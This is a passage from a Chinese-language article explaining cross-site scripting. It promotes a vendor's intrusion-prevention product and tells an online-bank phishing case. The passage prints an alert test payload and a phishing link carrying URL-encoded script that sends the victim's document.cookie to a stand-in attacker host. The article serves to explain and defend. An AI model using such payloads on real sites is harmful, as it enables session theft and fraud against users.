XSS(Cross-site scripting)攻擊是最常見的Web攻擊之一,和其它Web攻擊類似的是,XSS也是利用Web頁面編碼的不嚴謹,和SQL注入漏洞所不同的是,XSS漏洞更加難以發現避免。就連McAfee、Symantec、VeriSign這種專業安全公司,也在2008年1月的XEED.com報告中被爆出官網存在XSS漏洞。
此外,XSS攻擊還有另外一個與眾不同的特性:雖然駭客利用的是Web業務系統存在的漏洞,但真正的受害者卻是隨后訪問這些Web系統的用戶。
正是由于以上兩個特性——難以避免、難以察覺,所以想要防御XSS攻擊非常困難。啟明星辰推出的天清入侵防御產品,采用基于攻擊手法分析的檢測方法,對Web威脅如SQL注入、XSS攻擊等進行全面檢測和防御。與傳統的基于數據特征匹配和基于異常模型構建的Web安全相比,有著更低的漏報率和誤報率。
1.網上銀行謹防XSS攻擊
大家都用過網站的搜索功能,提供一個搜索輸入框,用戶在框中輸入想要查找的內容,提交后臺數據庫檢索。但如果提交的輸入信息不是字符串,而是一段可執行指令呢?一個很常見的XSS例子,在輸入框中填入“"><SCRIPT>alert('XSS%20Testing')</SCRIPT>”(不包括最外側的雙引號),一些沒有做嚴格過濾的站點將會彈出一個alert框,顯示“XSS Testing”,這意味著這段腳本已經被執行了。Reflect-based XSS(反射式XSS)利用的就是這樣一個原理。
以下就是一則利用XSS漏洞進行網銀詐騙的真實案例。
小陳是ebank 網上銀行的安全維護人員,有一天忽然接到客服部門轉來的客戶投訴,稱收到一條交易提醒,但該客戶僅做過網上銀行的登錄,并沒有做過付款動作。
“你們給我發了一封郵件,說是有分期付款買筆記本電腦的優惠活動,我就點鏈接進來看,可沒幾分鐘,我就收到交易提醒,說網上付款4784元,請我確認,但我還沒下單呢,你們這是怎么回事?”電話里客戶的聲音明顯帶著壓抑不住的憤怒。
經過確認,該客戶使用的PC并不存在病毒,而且也的確是僅點擊了廣告郵件的鏈接而已。“那你把這封郵件發給我看看吧”,小陳在排除了其它可能性后,這么告訴客戶,“分析出結果我們的客服人員將第一時間通知您,您現在的這筆費用我們先凍結,待解決后給您恢復”。
在收到客戶轉發來的郵件后,小陳第一眼就看出了問題,這不是ebank的系統郵件,而是一封釣魚郵件,偽造了發件人名稱的釣魚郵件。其中關于促銷優惠活動的頁面都是截取了真實活動頁面,但在“點擊參加活動”的按鈕后面,卻隱藏著重重的殺機。
這個鏈接并非是正常促銷活動所在的頁面,而是如下所示的一個長URL
<ahref="http://www.ebank.com/query.asp?word=%3Cscript%3Evar+img+%3D+new+Image%28%29%
3Bimg.src%3D%22http%3A%2F%2Fwww.hackers.com%2F%3F%22%2Bdocument.cookie%3B%3C%2Fscript%3E+">點擊參加活動</a>
一般的用戶在看到URL開頭是正確的網站域名ebank,都不會懷疑郵件的真實性,而駭客正是利用這一心理,精心設置了圈套,利用了Ebank的某個輸入域中存在反射式XSS攻擊漏洞,通過<script>標簽注入